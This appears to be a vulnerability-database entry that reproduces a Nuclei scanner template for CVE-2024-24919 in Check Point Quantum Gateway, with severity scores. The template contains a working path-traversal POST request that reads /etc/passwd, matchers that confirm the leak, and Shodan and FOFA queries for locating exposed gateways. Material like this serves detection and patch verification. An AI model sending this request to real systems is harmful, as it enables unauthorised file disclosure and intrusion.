Check Point Quantum Gateway - Information Disclosure

2024-05-3003:36:42

ProjectDiscovery

github.com

checkpoint

quantum security gateway

information disclosure

cve2024

lfi

CVSS3

8.6

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

AI Score

8.3

Confidence

High

EPSS

0.945

Percentile

99.3%

JSON

CVE-2024-24919 is an information disclosure vulnerability that can allow an attacker to access certain information on internet-connected Gateways which have been configured with IPSec VPN, remote access VPN, or mobile access software blade.

id: CVE-2024-24919

info:
  name: Check Point Quantum Gateway - Information Disclosure
  author: johnk3r
  severity: high
  description: |
    CVE-2024-24919 is an information disclosure vulnerability that can allow an attacker to access certain information on internet-connected Gateways which have been configured with IPSec VPN, remote access VPN, or mobile access software blade.
  reference:
    - https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
    - https://support.checkpoint.com/results/sk/sk182337
  metadata:
    verified: true
    max-request: 1
    vendor: checkpoint
    product: quantum_security_gateway
    shodan-query:
      - html:"Check Point SSL Network"
      - http.html:"check point ssl network"
    fofa-query: body="check point ssl network"
    cpe: cpe:2.3:h:checkpoint:quantum_security_gateway:*:*:*:*:*:*:*:*
  tags: cve,cve2024,checkpoint,lfi

http:
  - raw:
      - |
        POST /clients/MyCRL HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip

        aCSHELL/../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*"
          - "nobody:.*"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009afc265207776c9f9b1141fe6d3ee1d95636a46c187f30031ad4d91454e24c80022074c76d77fa0af466c7c78777681ecec941e3bd46946c9604f7e24a476aa1617e:922c64590222798bb761d5b6d8e72950